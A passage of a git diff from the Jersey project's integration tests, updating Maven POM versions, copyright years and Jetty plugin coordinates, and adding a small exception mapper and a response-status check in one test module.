+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2031/pom.xml b/tests/integration/jersey-2031/pom.xml
index 0577609..6d3987f 100644
--- a/tests/integration/jersey-2031/pom.xml
+++ b/tests/integration/jersey-2031/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,7 +25,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2031</artifactId>
@@ -46,7 +46,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
@@ -67,8 +66,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee9</groupId>
+                <artifactId>jetty-ee9-maven-plugin</artifactId>
             </plugin>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
diff --git a/tests/integration/jersey-2136/pom.xml b/tests/integration/jersey-2136/pom.xml
index 01cc34a..b3a88d7 100644
--- a/tests/integration/jersey-2136/pom.xml
+++ b/tests/integration/jersey-2136/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2136</artifactId>
diff --git a/tests/integration/jersey-2137/pom.xml b/tests/integration/jersey-2137/pom.xml
index b767dbc..5ed4487 100644
--- a/tests/integration/jersey-2137/pom.xml
+++ b/tests/integration/jersey-2137/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2137</artifactId>
diff --git a/tests/integration/jersey-2154/pom.xml b/tests/integration/jersey-2154/pom.xml
index 63056f6..bab5d62 100644
--- a/tests/integration/jersey-2154/pom.xml
+++ b/tests/integration/jersey-2154/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2154</artifactId>
diff --git a/tests/integration/jersey-2160/pom.xml b/tests/integration/jersey-2160/pom.xml
index 0d34282..965b340 100644
--- a/tests/integration/jersey-2160/pom.xml
+++ b/tests/integration/jersey-2160/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2160</artifactId>
@@ -36,7 +36,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -63,8 +62,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2164/pom.xml b/tests/integration/jersey-2164/pom.xml
index 57d3e21..aa283be 100644
--- a/tests/integration/jersey-2164/pom.xml
+++ b/tests/integration/jersey-2164/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2164</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2167/pom.xml b/tests/integration/jersey-2167/pom.xml
index 1005ef7..2a643ba 100644
--- a/tests/integration/jersey-2167/pom.xml
+++ b/tests/integration/jersey-2167/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2167</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2176/pom.xml b/tests/integration/jersey-2176/pom.xml
index 24aa77b..2e98ace 100644
--- a/tests/integration/jersey-2176/pom.xml
+++ b/tests/integration/jersey-2176/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2176</artifactId>
@@ -41,7 +41,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -63,8 +62,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee9</groupId>
+                <artifactId>jetty-ee9-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176App.java b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176App.java
index 4bc3f0c..bff0fe2 100644
--- a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176App.java
+++ b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176App.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -34,6 +34,7 @@
         property(ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, setStatusOverSendError);
         register(MyWriterInterceptor.class);
         register(Issue2176ReproducerResource.class);
+        register(Jersey2176ExceptionMapper.class);
     }
 
     public boolean isSetStatusOverSendError() {
diff --git a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176ExceptionMapper.java b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176ExceptionMapper.java
new file mode 100644
index 0000000..3a97c3d
--- /dev/null
+++ b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/Jersey2176ExceptionMapper.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.integration.jersey2176;
+
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.ExceptionMapper;
+
+public class Jersey2176ExceptionMapper implements ExceptionMapper<Throwable> {
+    @Override
+    public Response toResponse(Throwable exception) {
+        if (exception instanceof WebApplicationException) {
+            return ((WebApplicationException) exception).getResponse();
+        }
+        return Response.status(Response.Status.INTERNAL_SERVER_ERROR).entity(exception).build();
+    }
+}
diff --git a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/TraceResponseFilter.java b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/TraceResponseFilter.java
index ddb6b60..dadc0cd 100644
--- a/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/TraceResponseFilter.java
+++ b/tests/integration/jersey-2176/src/main/java/org/glassfish/jersey/tests/integration/jersey2176/TraceResponseFilter.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -61,6 +61,9 @@
         } catch (final Throwable th) {
             status = "FAIL";
         } finally {
+            if (((HttpServletResponse) response).getStatus() == 500) {
+                status = "FAIL";
+            }
             final long duration = System.nanoTime() - startTime;
             ((HttpServletResponse) response).addHeader(X_SERVER_DURATION_HEADER, String.valueOf(duration));
             ((HttpServletResponse) response).addHeader(X_STATUS_HEADER, status);
diff --git a/tests/integration/jersey-2184/pom.xml b/tests/integration/jersey-2184/pom.xml
index d4f0303..b04e813 100644
--- a/tests/integration/jersey-2184/pom.xml
+++ b/tests/integration/jersey-2184/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2184</artifactId>
@@ -42,7 +42,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -64,8 +63,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2255/pom.xml b/tests/integration/jersey-2255/pom.xml
index ae7df01..add5231 100644
--- a/tests/integration/jersey-2255/pom.xml
+++ b/tests/integration/jersey-2255/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2255</artifactId>
@@ -64,8 +64,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2322/pom.xml b/tests/integration/jersey-2322/pom.xml
index fc5f567..d73e88f 100644
--- a/tests/integration/jersey-2322/pom.xml
+++ b/tests/integration/jersey-2322/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2322</artifactId>
@@ -58,22 +58,14 @@
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-compiler-plugin</artifactId>
-                <configuration>
-                    <excludes>
-                        <exclude>**/*</exclude>
-                    </excludes>
-                    <testExcludes>
-                        <testExclude>**/*</testExclude>
-                    </testExcludes>
-                </configuration>
             </plugin>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2335/pom.xml b/tests/integration/jersey-2335/pom.xml
index 6a0a032..60612a4 100644
--- a/tests/integration/jersey-2335/pom.xml
+++ b/tests/integration/jersey-2335/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2335</artifactId>
@@ -60,8 +60,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2421/pom.xml b/tests/integration/jersey-2421/pom.xml
index 8705c2e..1a7c805 100644
--- a/tests/integration/jersey-2421/pom.xml
+++ b/tests/integration/jersey-2421/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2421</artifactId>
diff --git a/tests/integration/jersey-2421/src/test/java/org/glassfish/jersey/tests/integration/jersey2421/Jersey2421Test.java b/tests/integration/jersey-2421/src/test/java/org/glassfish/jersey/tests/integration/jersey2421/Jersey2421Test.java
index bae7758..79be107 100644
--- a/tests/integration/jersey-2421/src/test/java/org/glassfish/jersey/tests/integration/jersey2421/Jersey2421Test.java
+++ b/tests/integration/jersey-2421/src/test/java/org/glassfish/jersey/tests/integration/jersey2421/Jersey2421Test.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -38,7 +38,6 @@
 import org.glassfish.jersey.media.multipart.FormDataMultiPart;
 import org.glassfish.jersey.media.multipart.MultiPart;
 import org.glassfish.jersey.media.multipart.MultiPartFeature;
-import org.glassfish.jersey.message.internal.NullOutputStream;
 import org.glassfish.jersey.message.internal.OutboundMessageContext;
 
 import org.junit.jupiter.api.Test;
@@ -61,7 +60,7 @@
                 request.setStreamProvider(new OutboundMessageContext.StreamProvider() {
                     @Override
                     public OutputStream getOutputStream(final int contentLength) throws IOException {
-                        return new NullOutputStream();
+                        return OutputStream.nullOutputStream();
                     }
                 });
                 request.writeEntity();
diff --git a/tests/integration/jersey-2551/pom.xml b/tests/integration/jersey-2551/pom.xml
index f767620..b2075c2 100644
--- a/tests/integration/jersey-2551/pom.xml
+++ b/tests/integration/jersey-2551/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2551</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2612/pom.xml b/tests/integration/jersey-2612/pom.xml
index c8b9abf..4a77762 100644
--- a/tests/integration/jersey-2612/pom.xml
+++ b/tests/integration/jersey-2612/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2612</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2637/pom.xml b/tests/integration/jersey-2637/pom.xml
index 1f04049..02a3bae 100644
--- a/tests/integration/jersey-2637/pom.xml
+++ b/tests/integration/jersey-2637/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2637</artifactId>
@@ -38,7 +38,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -64,8 +63,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2654/pom.xml b/tests/integration/jersey-2654/pom.xml
index 3034e36..cd29d07 100644
--- a/tests/integration/jersey-2654/pom.xml
+++ b/tests/integration/jersey-2654/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2654</artifactId>
@@ -55,8 +55,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2673/pom.xml b/tests/integration/jersey-2673/pom.xml
index e228add..ffcc0be 100644
--- a/tests/integration/jersey-2673/pom.xml
+++ b/tests/integration/jersey-2673/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2673</artifactId>
@@ -53,7 +53,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -75,8 +74,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2689/pom.xml b/tests/integration/jersey-2689/pom.xml
index deb934a..d859cfe 100644
--- a/tests/integration/jersey-2689/pom.xml
+++ b/tests/integration/jersey-2689/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2689</artifactId>
@@ -81,7 +81,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
     </dependencies>
@@ -97,8 +96,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2704/pom.xml b/tests/integration/jersey-2704/pom.xml
index 5dc92da..30823d9 100644
--- a/tests/integration/jersey-2704/pom.xml
+++ b/tests/integration/jersey-2704/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2704</artifactId>
@@ -48,7 +48,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
     </dependencies>
@@ -64,8 +63,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-2776/pom.xml b/tests/integration/jersey-2776/pom.xml
index 82b05bb..afb8694 100644
--- a/tests/integration/jersey-2776/pom.xml
+++ b/tests/integration/jersey-2776/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
